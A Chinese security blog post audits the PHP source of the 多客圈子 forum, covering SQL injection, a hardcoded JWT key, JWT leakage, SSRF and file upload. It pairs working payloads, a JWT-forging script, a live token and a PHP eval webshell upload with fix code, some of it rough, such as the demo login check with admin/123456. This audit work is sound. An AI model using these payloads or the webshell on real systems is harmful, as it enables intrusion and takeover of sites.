多客圈子论坛代码审计(PHP代码审计)
前言:前几天看到同学发来了一个漏洞分析的报告,想着来分析分析源代码,就有了这篇文章,第一次写代码审计的文章,可能会有很多不足点,欢迎大家批评指正,谢谢!
项目源代码:https://pan.quark.cn/s/416971141321
本文参考:https://mp.weixin.qq.com/s/Na_rqDW5B4V9ptRuwTk1Lw
漏洞代码分析
1.SQL注入
Break
代码定位:
代码位于后端PHP\app\api\controller\Index.php文件的305行开始
参数 to_id、cate_id、tags_id 均存在注入点.
注入参数1:to_id
代码含义:这段代码的作用是根据用户ID(to_id)构建SQL查询条件,用于筛选特定用户的数据。if (isset($param['to_id']) && $param['to_id'] > 0) { $where = 'user_id = '.$param['to_id']; }注入示例:
?to_id=1%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),3)%20)--+
坑:注意最后需要用 ) --+ 进行闭合整个where语句
注入参数2:cate_id代码含义:这段代码的作用是根据分类ID查询未置顶的商品,并按特定规则排序。
if (isset($param['cate_id']) && $param['cate_id'] > 0) { $where = 'cate_id = '.$param['cate_id'].' AND is_ding = 0'; $order = 'is_ding desc,id desc'; }注入示例:
?cate_id=1%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),3)%20)--+
注入参数3 :tags_id
代码含义:根据传入的标签ID,查询数据库中tags_ids字段包含该标签ID(前后带逗号)的记录。if (isset($param['tags_id']) && $param['tags_id'] > 0) { $where = "tags_ids LIKE '%,".$param['tags_id'].",%'"; }注入示例:
1%27)%20and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+
Fix
修复方案1(强制转换):
// 修复方法1 (强制转换) if(isset($param['to_id']) && $param['to_id'] > 0) { // 强制转换为整数类型,防止 SQL 注入(这是关键的安全措施) $to_id = (int)$param['to_id']; $where = "user_id = ".$to_id; }修复方案2(参数化):
// 修复方法2 (thinkphp框架特性) if(isset($param['to_id']) && $param['to_id'] > 0) $where = ['user_id' => $param['to_id']];其余注入点,修复方案类似
2.JWT硬编码
代码位置:\multi-social-master\后端PHP\config\jwt.php
当key被泄露时,利用该key可以生成JWT
利用代码:<?php function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); } $header = ['typ' => 'JWT', 'alg' => 'HS256']; $payload = ['uid' => '1']; $key = '966285d811d508e0383235c457d79391'; $segments = [ base64url_encode(json_encode($header)), base64url_encode(json_encode($payload)) ]; $signature = hash_hmac('sha256', implode('.', $segments), $key, true); $segments[] = base64url_encode($signature); $jwt = implode('.', $segments); echo $jwt;生成得到JWT,利用该JWT后续可进行任意文件读取
3.JWT泄露
Break
访问接口/api/login 可直接返回JWT
利用JWT可进行未授权访问
Fix
漏洞代码位置:\multi-social-master\后端PHP\app\admin\controller\Login.php 的 23行开始
class Login extends Base { public $needLogin = false; public function index() { $a = [ 'a' => 1, 'b' => 2, 'c' => 3 ]; trace($a, 'dandan'); try { $post = Request::post(); $login_token = Jwt::encode([ 'uid' => 1 ], Config::get('jwt.key')); return success([ 'login_token' => $login_token // 直接将JWT返回给客户端 ]); } catch (\Exception $exception) { return error($exception->getMessage(), $exception->getCode()); } } }修复代码(身份认证):
注意:这里只是演示修复方法,实际方案需要利用登录接口进行数据库查询认证public function index() { $a = [ 'a' => 1, 'b' => 2, 'c' => 3 ]; trace($a, 'dandan'); try { $post = Request::post(); // 获取用户输入的用户名和密码 $username = $post['username'] ?? ''; $password = $post['password'] ?? ''; // 验证用户名和密码是否正确(这里需要根据实际数据库验证) // 示例:假设正确的用户名是admin,密码是123456 if ($username !== 'admin' || $password !== '123456') { return error('用户名或密码错误', 401); } $login_token = Jwt::encode([ 'uid' => 1 ], Config::get('jwt.key')); return success([ 'login_token' => $login_token // 直接将JWT返回给客户端 ]); } catch (\Exception $exception) { return error($exception->getMessage(), $exception->getCode()); } }
4.SSRF
Break
漏洞接口:/api/user/httpGet?url=
利用漏洞需要加上Token,也就是 JWTeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjF9.VQtQaEk7rvMOGHV5dBlNjWpWtBL-gFNpKBMNXTX3_ns
漏洞利用:读取 win.ini
Fix
漏洞代码路径:\multi-social-master\PHP\app\api\controller\User.php 的663 行开始
漏洞代码:public function httpGet($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 500); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_URL, $url); $res = curl_exec($curl); curl_close($curl); return $res; }修复代码(字符过滤):
public function httpGet($url) { // 只能使用http/https,不能访问内网 if (!preg_match('/^https?:\/\/(?!localhost|127\.0\.0\.1|169\.254\.169\.254|10\.|172\.16\.|192\.168\.)/i', $url)) { echo "hacker!"; return false; } $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 500); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_URL, $url); $res = curl_exec($curl); curl_close($curl); return $res; }再次读取失败
5.文件上传漏洞
Break
漏洞接口:/index.php/api/User/up_img
漏洞利用:POST /admin/upload_files/upload.html?&water=0 HTTP/1.1 Host: 192.168.119.53 Content-Length: 754 Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Accept: */* Origin: http://192.168.119.53 Referer: http://192.168.119.53/admin/Adinfo/edit.html?id=39 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: thinkphp_show_page_trace=0|0; PHPSESSID=fac2eb23b504f43ebdcf8e7e46b41053 Connection: keep-alive ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="id" WU_FILE_0 ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="name" a.png ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="type" image/png ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="lastModifiedDate" Sat Apr 18 2026 16:55:49 GMT+0800 (新加坡标准时间) ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="size" 29 ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9 Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/png <?php eval($_REQUEST['a']);?> ------WebKitFormBoundaryTAO5TrZJ5u7GDNw9--上传成功
拼接路径访问并执行命令:
Fix
代码位置:\multi-social-master\PHP\app\common\model\UploadFiles.php 的 55行开始
漏洞代码:public function upload($folder_name='files',$app=1) { try { $param = request()->param(); $file = request()->file('file'); //文件后缀名 $ext = $file->getOriginalExtension(); //配置信息 $config = xn_cfg('upload'); //存储类型 $storage = $config['storage']; $isImage = 1; //图片水印处理 if (isset($param['water'])) { if( in_array( strtolower($ext), ['png','jpg','jpeg','gif','bmp'] ) ) { if( self::setWater($file,$param['water']) === false ) { return ['code'=>0,'msg'=>'水印配置有误']; } } }修复代码(白名单):
public function upload($folder_name='files',$app=1) { try { $param = request()->param(); $file = request()->file('file'); //文件后缀名 $ext = strtolower($file->getOriginalExtension()); $allowedExts = [ 'avi', // 微软视频格式 'wmv', // Windows Media Video 'mpeg', // MPEG视频 'mp4', // MP4视频(最常见) 'm4v', // iTunes视频格式 'mov', // QuickTime视频 'asf', // 高级流格式 'flv', // Flash视频 'f4v', // Flash MP4视频 'rmvb', // RealMedia可变比特率 'rm', // RealMedia '3gp', // 手机视频格式 'vob', // DVD视频对象 'png', 'jpeg', 'webp', 'gif', 'mpeg', 'jpg' ]; // 白名单上传文件 if(!in_array($ext, $allowedExts)){ return [code => 0, 'msg' => '不支持的文件扩展']; } //配置信息 $config = xn_cfg('upload'); //存储类型 $storage = $config['storage']; $isImage = 1; //图片水印处理 if (isset($param['water'])) { if( in_array( strtolower($ext), ['png','jpg','jpeg','gif','bmp'] ) ) { if( self::setWater($file,$param['water']) === false ) { return ['code'=>0,'msg'=>'水印配置有误']; } } }再次尝试上传:
需要注意上面仅仅演示了一个上传点,分析代码发现有许多上传点。
